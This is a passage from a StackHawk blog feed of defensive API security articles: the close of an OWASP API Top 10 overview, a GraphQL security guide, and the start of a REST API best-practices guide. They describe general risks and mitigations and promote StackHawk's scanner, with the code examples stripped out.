costs. The simplest way to prevent this type of attack is to implement rate limiting and quotas for each endpoint and enforce efficient resource management and monitoring for spikes.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Broken Function Level Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This occurs when there are flaws in function-level access controls, potentially allowing unauthorized access to functions. This risk is embodied in scenarios such as when a regular user accesses administrative functions due to poorly implemented access controls. If users can access certain functions because of broken function level authorization, this might lead to unauthorized actions being performed and data breaches. To prevent this, ensure a clear separation of user roles and robust access control policies.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Unrestricted Access to Sensitive Business Flows&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This exploit relates to when APIs expose business logic without adequate controls, leading to abuse or misuse. An example of this might be if someone uses automated scripts excessively using a &amp;#39;free trial&amp;#39; feature. If allowed, you can expect the business logic to be abused, impacting operations and increasing costs. To prevent this type of behavior, developers should aim to implement business logic rate limiting and abuse detection mechanisms.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Server Side Request Forgery (SSRF)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This occurs when an API fetches a remote resource based on a user supplied URL without proper validation, leading to security vulnerabilities associated with Server Side Request Forgery (SSRF). A typical execution of this attack involves attackers tricking the server into making requests to internal services within the organization’s infrastructure. This might lead to internal network exposure and data breaches. To prevent this from happening, APIs should validate and sanitize all user-supplied URIs and restrict outbound requests.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security Misconfiguration&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This involves insecure default configurations, incomplete setups, or misconfigured HTTP headers. A common form of this issue is when an API server can be accessed with default credentials or when verbose error messages expose sensitive user data. This can lead to unauthorized access and data leakage. To prevent this from happening, developers should regularly review and update configurations and follow security best practices.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Improper Inventory Management&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This happens when developers and their organizations fail to maintain an accurate inventory of deployed API versions and endpoints. An example of where this can cause issues is when outdated API versions remain operational and accessible, containing known (and unknown) vulnerabilities. The risk here is the possible exploitation of outdated or deprecated APIs. To prevent this, organizations should maintain a thorough and up-to-date inventory of all API endpoints and versions.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Unsafe Consumption of APIs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This involves insufficient validation or security checks when consuming third-party APIs. An example would be when a user trusts data from a third-party API without validation, leading to malicious data from the third-party API being processed. If allowed, it could lead to data corruption and security breaches through third-party integrations. To stop this from happening, developers should apply robust security checks and validations for all data received from third-party APIs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Key Takeaways and Recommendations&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The OWASP report provides several key takeaways that providers should consider.&lt;/p&gt;&lt;p&gt;First and foremost, OWASP points towards proactive efforts as a stronger solution than mitigation. Many of the problems on the top ten list are problems that exist because of lacking awareness or detail oriented thinking - for that reason, simple issues such as Broken Object Level Authorization, or BOLA, are surfaced alongside recommendations for better controls, checks on implementation, and overall observability of the platform.&lt;/p&gt;&lt;p&gt;Secondly, OWASP makes a point to suggest an awareness of - and in many cases, reduction of - the amount of data that is being exposed by an API. Overly verbose systems are easier to crack, and while simple misconfigurations are frighteningly common, it is the verbosity of the platform and the surfacing of attack vectors which compounds their threats so significantly.&lt;/p&gt;&lt;p&gt;The OWASP top ten list makes it clear that shifting left is the best policy for security in 2024. Integrating security early on in the life of a project and engaging in regular testing and validation is incredibly important, as is higher quality and more consistent education on the resultant risks of failing to adopt this strategy. APIs are the backbone of the modern internet, and in many ways - although OWASP doesn&amp;#39;t say it in so many words - security needs to &amp;quot;level up&amp;quot; in many organizations and be taken as the much more critical facet that it actually is.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;With that, we’ve done an in-depth exploration of the latest updates to the OWASP Top 10 API Security Risks. We’ve looked at the changes since the edition released in 2019 and reviewed the latest 2023 list from top to bottom.&lt;/p&gt;&lt;p&gt;To prevent these risks from impacting your APIs and operations, you’ll need the right toolkit as a developer. These exploits must often be stopped well before they can hit production. To do this, it makes sense to find and remedy these as early as possible when code is being written. Using a tool like StackHawk, users can test their APIs and applications to detect many of the OWASP API Top Ten Security Risks mentioned in the list.&lt;/p&gt;&lt;p&gt;By running StackHawk in your CI/CD flow, your code is tested in its running state, reporting potential vulnerabilities. Developers can then be aware of any vulnerabilities and fix them before they can be exploited. Want to know more about how StackHawk works? Check out the blog&lt;a href=&quot;https://www.stackhawk.com/blog/how-does-stackhawk-work/&quot;&gt; &lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;Sign up for a free trial&lt;/u&gt;&lt;/a&gt; today to try out StackHawk for yourself and protect your APIs against the OWASP Top 10!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Mastering GraphQL Security: A Comprehensive Guide]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/graphql-security</guid><category><![CDATA[GraphQL Security]]></category><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;h2&gt;&lt;b&gt;Introduction&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;GraphQL Application Programming Interfaces (APIs) have become a relatively common way to implement APIs for modern applications. As GraphQL has become more prominent, it has become an important technology for data communication and exchange between applications, ranging from complex transactions in global financial systems to nuanced interactions within smartphone apps. The significance of GraphQL APIs goes beyond their functionality; they are critically important in protecting sensitive data and systems from cyber threats. With the increasing adoption and complexity of GraphQL APIs, the urgency to secure them effectively is more critical than ever.&lt;/p&gt;&lt;p&gt;This guide will look at the various aspects of GraphQL API security, providing you with the knowledge required to safeguard your APIs against a wide array of potential threats. Understanding different GraphQL implementations and their security implications is crucial. We will delve into the intricate layers of GraphQL API security, from foundational principles to advanced protective strategies, ensuring the integrity and confidentiality of your users’ digital interactions are maintained securely. Testing GraphQL queries for vulnerabilities is necessary to prevent potential security risks. Covering everything from the basics of securing traditional APIs to the unique challenges of GraphQL, this guide presents the most effective and up-to-date best practices for securing your GraphQL APIs. Let&amp;#39;s begin by looking at the fundamentals of GraphQL and GraphQL security.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Introduction to GraphQL Security&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;What is GraphQL?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;GraphQL is a powerful query language for APIs that allows clients to request exactly the data they need, no more and no less. Unlike traditional REST APIs, which often require multiple endpoints to fetch related data, GraphQL provides a single endpoint that clients can use to query multiple resources in one request. This flexibility makes GraphQL an efficient tool for building APIs, as it reduces the amount of data transferred over the network and minimizes the number of requests needed to fetch related data.&lt;/p&gt;&lt;p&gt;For example, a REST API might require two separate requests to different endpoints to fetch a user&amp;#39;s profile and recent posts. In contrast, a GraphQL API can handle this with a single query, specifying the exact fields and relationships needed. This not only improves performance but also simplifies the client-side code.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;GraphQL vs. REST&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;When comparing GraphQL to REST, data fetching efficiency is one of the most significant advantages GraphQL brings to the table. In REST, clients often receive more data than they need, leading to over-fetching, or they might need to make multiple requests to get all the required data, leading to under-fetching. GraphQL addresses these issues by allowing clients to specify precisely what data they need in a single request.&lt;/p&gt;&lt;p&gt;For instance, if a client only needs a user’s name and email, a GraphQL query can request just those fields, avoiding the unnecessary transfer of additional data like the user’s address or phone number. This level of granularity and control over data fetching makes GraphQL a preferred choice for many developers.&lt;/p&gt;&lt;p&gt;Moreover, GraphQL’s flexibility extends to its ability to evolve APIs without versioning. In REST, changes to the API often require versioning, which can lead to maintenance challenges. GraphQL, however, allows for the addition of new fields and types without affecting existing queries, providing a more seamless API evolution.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is API Security?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As applied to GraphQL, API security is the crucial barrier between your GraphQL APIs and the complex array of threats in today’s interconnected digital ecosystem. It encompasses various aspects, including multiple protocols, systems, and tools, each specifically designed to prevent and evade malicious attacks on or through GraphQL APIs, thereby safeguarding the essential components of modern software communication.&lt;/p&gt;&lt;p&gt;At its most basic, GraphQL API security ensures that only authorized users can execute authorized actions. This typically involves implementing robust authentication and authorization processes to verify user identities and manage access permissions. Encryption also plays a pivotal role in GraphQL API security as a critical mechanism to protect data during its transfer between servers and clients. However, protection for GraphQL APIs extends beyond access control; it includes monitoring and logging API activities to identify and neutralize potential threats, implementing rate limiting to curb abuse, and managing the lifecycle of the GraphQL API to reduce exploitable vulnerabilities. Understanding and mitigating GraphQL attacks is crucial for maintaining the security of GraphQL APIs, as these attacks can lead to unauthorized data access and information disclosure due to flaws in API configurations.&lt;/p&gt;&lt;p&gt;It is also crucial to secure the GraphQL endpoint, as Cross-Site Request Forgery (CSRF) vulnerabilities can arise from certain request methods not being validated by the GraphQL endpoint.&lt;/p&gt;&lt;p&gt;Unlike other software development processes, GraphQL API security is not a one-time task but a continuous process. It needs to evolve in response to the changing threat landscape and adapt to the unique characteristics and integration patterns of GraphQL APIs. The ultimate aim is to foster a secure data exchange environment that maintains data integrity, availability, and confidentiality while minimizing potential attack surfaces.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why is API Security Important?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The critical role of GraphQL APIs in modern software and applications brings with it significant risks. Given their exposure to the open internet, GraphQL APIs are inherently vulnerable to cyberattacks. The importance of GraphQL API security is rooted in the necessity to protect sensitive data transferred between services, maintain user privacy, and prevent disruptions in business operations by malicious actors.&lt;/p&gt;&lt;p&gt;The consequences of API security breaches have been starkly highlighted in recent years. Such incidents can result in data theft, service outages, and substantial financial losses. For example, an unprotected GraphQL API could be exploited by an attacker to access sensitive customer information, leading to identity theft and fraud. Attackers can exploit authorization flaws by manipulating the following query to access sensitive data. While data breaches are often associated with compromised databases, the potential for data leaks through APIs, especially those as dynamic as GraphQL, is equally significant.&lt;/p&gt;&lt;p&gt;API security is a critical component of users’ trust in digital services. A breach in a GraphQL API can severely damage a company’s reputation, eroding customer trust and loyalty. Moreover, due to the interconnected nature of services, a vulnerability in one GraphQL API can have cascading effects, impacting associated services and partners and amplifying the overall damage of the breach.&lt;/p&gt;&lt;p&gt;Therefore, securing GraphQL APIs is not merely a technical requirement but a crucial business imperative. Establishing a robust security framework for GraphQL APIs is essential to provide users with a secure and reliable service and comply with regulatory standards such as GDPR and HIPAA.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding GraphQL Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;GraphQL API Vulnerabilities and Common Attack Examples&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;GraphQL APIs, while powerful and flexible, are not immune to security vulnerabilities. Understanding these vulnerabilities is crucial for building secure APIs. Some common attack vectors include brute force attacks, malicious queries, and batch multiple queries.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Brute Force Attacks&lt;/b&gt;: These attacks involve sending a high volume of queries to the API in a short period, aiming to overwhelm the server and degrade its performance. Attackers may use automated tools to send multiple queries rapidly, attempting to find vulnerabilities or simply exhaust server resources.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Malicious Queries&lt;/b&gt;: Attackers can craft queries designed to exploit specific vulnerabilities in the API. For example, SQL injection attacks can occur if user input is not properly sanitized, allowing attackers to execute arbitrary SQL commands. Cross-site scripting (XSS) attacks can also be a risk if the API returns user-generated content without proper encoding.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Batch Multiple Queries&lt;/b&gt;: GraphQL’s ability to batch multiple queries in a single request can be exploited to launch denial-of-service (DoS) attacks. By sending a large number of complex queries in one request, attackers can consume significant server resources, potentially causing the server to become unresponsive.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How Do You Secure a GraphQL Endpoint?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Securing GraphQL APIs, one of the more recent advancements in API technology presents unique challenges due to its distinct query language and flexible features. Unlike REST APIs, which operate with defined endpoints and structured requests and responses, GraphQL allows clients to query precisely what they need. This flexibility introduces several security considerations that differ from traditional API models. Let&amp;#39;s take a look at a few of the most pressing security concerns when it comes to GraphQL endpoints:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Authentication and Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Firstly, implementing robust authorization and authentication is vital. It is similar to securing REST API endpoints but with added complexity in GraphQL. Authentication can follow similar REST patterns (e.g., JSON Web Tokens, OAuth 2.0, or API keys), while authorization often requires more granular control at the field and type level. Here is an example of a GraphQL endpoint written in Node, which implements some basic JWT authentication and field-level authorization:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;&lt;b&gt;What’s Happening Here?&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;We define a simple schema with two fields: publicInfo and sensitiveData.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The sensitiveData resolver checks context.user to determine if the requester is authorized. Without valid JWT credentials, access is denied.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;In a real-world scenario, consider adding finer-grained authorization logic, such as role checks or attribute-based access controls.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;We also disabled GraphiQL (the built-in UI) in production to reduce introspection and exposure of sensitive schema details.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Input Sanitization and Validation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Secondly, developers must rigorously validate and sanitize all inputs in GraphQL APIs to guard against malicious activities like injection attacks. Proper input validation helps prevent risks like Cross-Site Scripting (XSS) and Server-Side Request Forgery (SSRF). Here is a simple example in Node which shows how you could implement input validation within a GraphQL mutation:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Here, the mutation checks the provided email against a simple regex. A more extensive validation or a library like validator.js could be used in a production environment.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Query Complexity, Depth, and Denial-of-Service Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Managing query complexity is crucial to preventing denial-of-service (DoS) attacks caused by overly complex or nested queries. Techniques such as limiting query depth or complexity help ensure the server does not become resource-exhausted.&lt;/p&gt;&lt;p&gt;Although the &lt;b&gt;express-graphql&lt;/b&gt; library does not have built-in complexity analysis, you can integrate third-party tools or apply custom logic in the middleware. Here is an example in Node of how you can control query depth limit using a third-party library, in this case, &lt;b&gt;graphql-depth-limit&lt;/b&gt;.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This snippet uses graphql-depth-limit to restrict the nesting depth of queries to a maximum of 5 levels, helping mitigate deeply nested queries that might attempt to overwhelm the server.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Schema Introspection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Another critical step is preventing unauthorized schema introspection in production environments. Introspection can reveal sensitive details about your schema, potentially aiding attackers. The example below shows how introspection can be easily disabled for production environments within a Node implementation.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;For batching attacks or multiple queries in a single request, rate limiting and throttling ensure an attacker cannot exploit these features to gain unauthorized data or degrade performance.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;GraphQL API Security Best Practices&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Now that we&amp;#39;ve covered the basics of GraphQL API security when it comes to the code, let&amp;#39;s shift our focus to essential best practices for securing your APIs that extend beyond just what is implemented within the code itself. Here are nine best practices to take into consideration when implementing GraphQL.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Conduct Regular Security Audits and Penetration Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Regularly audit your GraphQL APIs and perform penetration tests to uncover and address vulnerabilities before they can be exploited. Use automated scanning tools and professional penetration testing services to simulate real-world attack scenarios.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Implement Authentication and Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Use standard authentication protocols like OAuth 2.0, OpenID Connect, or JWT-based auth. Implement fine-grained authorization logic to ensure users and services can only access the data they are permitted to see or manipulate.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Encrypt Data in Transit and at Rest&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Always use TLS (HTTPS) to encrypt data in transit. For data at rest, use robust encryption algorithms and secure key management. This is crucial to protecting sensitive data, such as user credentials, personal information, or financial records.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;4. Effective Error Handling, Logging, and Input Validation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Ensure that error messages do not expose internal details of your schema or implementation. Maintain comprehensive logs for debugging and auditing but never log sensitive data. Validate and sanitize all inputs to thwart injection-based attacks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;5. Use Throttling, Rate Limiting, and Query Depth Limiting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Limit the number of requests per client or per IP address. Apply query depth and complexity limits to prevent resource starvation attacks. An API gateway or middleware solution can enforce these policies automatically.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;6. Ensure Proper API Versioning and Deprecation Strategies&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Adopt transparent versioning practices to ensure users know when changes occur. Provide a clear migration path and sunset deprecated versions responsibly, giving users time to adapt.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;7. Embrace a Zero-Trust Network Model&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Assume no user or system is trustworthy by default. Employ strict verification mechanisms at every layer, enforce the principle of least privilege, and segment the network for added security.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;8. Automate Scanning and Testing for Vulnerabilities&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Integrate vulnerability scanning into your CI/CD pipeline. Perform both static (SAST) and dynamic (DAST) checks to catch issues before they reach production, adjusting to new threats as they arise.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;9. Secure the Underlying Infrastructure&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Apply security best practices to servers, containers, and cloud platforms. Regularly patch, monitor for intrusions, and enforce strict firewall and network rules. Infrastructure security often complements API-level security measures.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Augmenting API Security With StackHawk&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As mentioned, StackHawk is essential in reinforcing the concepts outlined above. A developer-friendly DAST solution, StackHawk automates security tests against your APIs, including GraphQL endpoints, identifying common risks like injection attacks or misconfigurations before they are deployed.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Key Benefits of StackHawk:&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated Security Risk Tests:&lt;/b&gt; Quickly uncover common vulnerabilities in your GraphQL endpoints early in development.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;CI/CD Integration:&lt;/b&gt; Seamlessly integrate into your pipeline, ensuring each code change undergoes security review.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Support for Various API Types:&lt;/b&gt; Test REST, SOAP, gRPC, and GraphQL endpoints all in one place.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Efficient Vulnerability Management:&lt;/b&gt; Gain actionable insights and remediation steps, making it easier for developers to fix issues promptly.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Testing GraphQL with StackHawk&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;To scan a GraphQL application with StackHawk, you&amp;#39;ll need to:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;set &lt;b&gt;app.graphqlConf.enabled&lt;/b&gt; to &lt;b&gt;true&lt;/b&gt; in &lt;b&gt;stackhawk.yml&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;configure a GraphQL schema (introspection endpoint or schema file)&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Here are a few configuration examples to demonstrate how easy it is to set up within StackHawk.Our first example shows how to point HawkScan to your application’s GraphQL introspection endpoint. This can be done in your &lt;b&gt;stackhawk.yml &lt;/b&gt;file like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You can also import a JSON-formatted schema file into HawkScan as well. This is also done by pointing your &lt;b&gt;stackhawk.yml&lt;/b&gt; file towards the JSON file with your endpoint definitions. That can be done like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Note: HawkScan requires that either schemaPath or filePath be configured. It is unusual to configure both, but it is sometimes necessary. If both filePath and schemaPath are set, the schema will be loaded from the file system, and the schemaPath will be used for requests to the API.&lt;/p&gt;&lt;p&gt;This configuration instructs StackHawk to perform tests, including introspection queries, against your GraphQL service. This early feedback loop helps detect misconfigurations or vulnerabilities at the earliest stages of development.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As we conclude our comprehensive exploration of GraphQL API security, it’s clear that protecting these APIs is critical and complex. We’ve navigated through fundamental principles, examined unique aspects of GraphQL security, and explored tools and best practices. A layered security approach is essential, from implementing robust authentication and authorization to enforcing input validation, query complexity limits, and secure error handling.&lt;/p&gt;&lt;p&gt;StackHawk is essential in this ecosystem, delivering automated testing that complements contemporary API architectures. Integrating StackHawk into your CI/CD pipeline guarantees ongoing testing of your GraphQL APIs, facilitates the early discovery of vulnerabilities, and streamlines the remediation process.&lt;/p&gt;&lt;p&gt;As you apply the knowledge gained here to your GraphQL API implementations, consider leveraging StackHawk’s free account to take proactive steps toward stronger security. Your GraphQL APIs—and the sensitive data flowing through them—will be better protected against the evolving threat landscape.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;</content:encoded></item><item><title><![CDATA[REST API Security Best Practices]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rest-api-security-best-practices</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Alexa Sevilla]]></dc:creator><content:encoded>&lt;p&gt;APIs, especially REST APIs, are one of the most essential components of the software we build today. For data exchange and communication between applications, REST APIs are used in everything from high-traffic financial transactions to smartphone apps. However, REST APIs are more than just functionality; their implementation and integration are critical for securing sensitive data and systems from cyber threats. With REST APIs being used increasingly, API traffic and complexity are growing, and so is the need to secure them. To keep applications secure, developers need to implement advanced REST API security to tackle the sophisticated threats and vulnerabilities impacting apps on a daily basis.&lt;/p&gt;&lt;p&gt;This guide will focus on the different aspects of REST API security and give you the knowledge to protect your RESTful services from security threats. We will explore the detailed layers of REST API security, from the basics to advanced protection strategies. This comprehensive guide will provide the most effective and up-to-date best practices for securing your REST APIs. Let’s start with the basics: What is API security?&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is API Security?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;A REST API security strategy is critical to protecting your RESTful APIs from the complex array of threats that exist in the wild. It encompasses various aspects, including protocols, systems, and tools to prevent malicious attacks on or through REST APIs. These components are essential in safeguarding the foundations of modern software communication that REST APIs facilitate.&lt;/p&gt;&lt;p&gt;At its core, REST API security ensures that only authorized users can execute authorized actions. This is primarily achieved through applying API authentication and authorization processes to each API call. These processes are crucial for verifying user identities and appropriately granting permissions. Encryption also plays a key role in API endpoint security as an essential mechanism to protect data as it travels between servers and clients. However, the scope of REST API security extends beyond just access control. It involves monitoring and logging REST API activity to identify potential threats, implementing rate limiting to prevent abuse, and managing the REST API lifecycle to reduce vulnerabilities that attackers could exploit.&lt;/p&gt;&lt;p&gt;REST API security is a continuous process within the software development lifecycle that requires constant attention. It must adapt to the changing threat landscape and the evolution of REST API designs and integration patterns. This means that development teams must take proactive measures, such as threat hunting and monitoring API usage. Adhering to industry standards and referencing recent security reports are crucial REST API security practices to establish a secure data exchange environment that maintains data integrity, availability, and confidentiality while minimizing the surfaces vulnerable to attacks.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why is API Security Important?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;By design, REST APIs are exposed to the open internet, making them vulnerable to attacks. REST API security is needed to protect the data being transferred between services, enhance user privacy, and prevent malicious actors from disrupting business operations through an attack.&lt;/p&gt;&lt;p&gt;In recent years, the consequences of security breaches in REST APIs have become more severe. These can lead to data theft, service outages, and financial losses. An unprotected REST API, for example, can allow an attacker to extract sensitive customer data and use it for identity theft and fraud. While data breaches are often associated with compromised databases, the same data can be exposed or leaked through REST APIs. Businesses face the direct impact of these breaches and regulatory penalties for not protecting user data under laws like GDPR and HIPAA.&lt;/p&gt;&lt;p&gt;REST API security is crucial to users&amp;#39; trust in digital services. A breach can damage a company’s reputation and cause a loss of customer trust and loyalty. Since REST APIs are interconnected, a vulnerability in one API can have a ripple effect, impacting other services and partners and amplifying the damage.&lt;/p&gt;&lt;p&gt;So, REST API security is not just a technical issue; it’s a critical part of business strategy. A well-implemented REST API security framework provides your users with a secure service and protects your business against the adverse effects of a successful API attack.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How Do You Secure a REST API?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Securing a REST API is a major task that must be undertaken at the beginning of API development. REST APIs are popular because they are simple and stateless and use standard HTTP methods. However, these characteristics can also make them vulnerable if they are not appropriately secured. Let’s examine some of the security features and patterns important for securing a RESTful API.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Transport Layer Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Transport Layer Security (TLS) is a must for REST API security. It encrypts data between clients and servers to protect sensitive information like API keys and access tokens from being intercepted. This end-to-end encryption helps maintain data integrity and confidentiality by preventing man-in-the-middle attacks.&lt;/p&gt;&lt;p&gt;Tools like API gateways can simplify TLS implementation or enable mutual TLS (mTLS), which allows clients and servers to authenticate each other for extra security. By prioritizing TLS in your REST API, you reduce the risk of data breaches and user trust.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Authentication and Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Authentication and authorization are essential for REST API security:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Authentication&lt;/b&gt; verifies the client identity, only legitimate users can access your API.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Authorization&lt;/b&gt; determines what actions an authenticated user can perform and restricts resource access to approved operations.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Common approaches include using an API Key, which provides a simple way to identify and track callers; OAuth 2.0, which issues short-lived, refreshable access tokens for secure access; and JSON Web Tokens (JWTs), which use signed tokens to assert a user’s identity and permissions. These access token mechanisms ensure that only authorized users can access your REST API, helping protect sensitive data and maintaining data integrity and confidentiality. Implementing scalable authentication and authorization is extremely simple with a modern API gateway.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;User Input Validation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;User input validation is essential to secure your REST API from common security threats. Injection attacks, such as SQL injection and cross-site scripting (XSS), occur when malicious or malformed data is sent to the API. The attacker can execute unauthorized code or access sensitive information. To mitigate these risks, you need to validate all incoming data and ensure it conforms to the expected data types and values. This involves checking the length, format, and content of user input and rejecting or sanitizing any data that does not meet the defined criteria.&lt;/p&gt;&lt;p&gt;A good input validation strategy can fortify your REST API by blocking malicious data before it reaches your internal logic or database. By enforcing strict input standards, such as acceptable characters or numeric ranges, you reduce the chance of unexpected behavior, data corruption, or unauthorized access. Overall, user input validation helps maintain the integrity and confidentiality of your system and protects your API from common vulnerabilities and attacks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security Audits and Penetration Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;You need to test your REST API security regularly. Security audits assess your API infrastructure, policies, and codebase to ensure compliance with security standards. Penetration testing tests your API against real-world cyber-attacks. Integrating automated tools like StackHawk into your development cycle and hiring external penetration testers will give you a comprehensive view of your API security.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Encrypt Data in Transit and at Rest&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Encryption is non-negotiable for REST API security when data is at rest, in addition to the security TLS offers for data in transit. For data in transit, use TLS with strong cipher suites. For data at rest, use encryption algorithms like AES and manage encryption keys with cloud providers or hardware security modules (HSMs) services.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Proper Error Handling and Logging&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Proper error handling must be implemented to avoid leaking sensitive data through API errors. Uniform error responses that don’t reveal the internal workings of the API are important. Logging API transactions is vital for tracking and analyzing activities and ensuring that logs don&amp;#39;t contain sensitive information.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Throttling and Rate Limiting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Throttling and rate limiting are essential to control the number of requests to your API, which will prevent denial-of-service attacks. Throttling controls the API’s throughput, while rate limiting imposes hard limits on API requests. Implement these through API gateways or middleware to avoid overuse and to protect against denial-of-service attacks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Proper API Versioning and Deprecation Strategy&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As you improve your API, you should have a transparent versioning and deprecation strategy. Use Semantic Versioning and communicate changes through changelogs. When deprecating older versions, give users ample notice and guidance so they can migrate to newer versions.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Zero-Trust Network 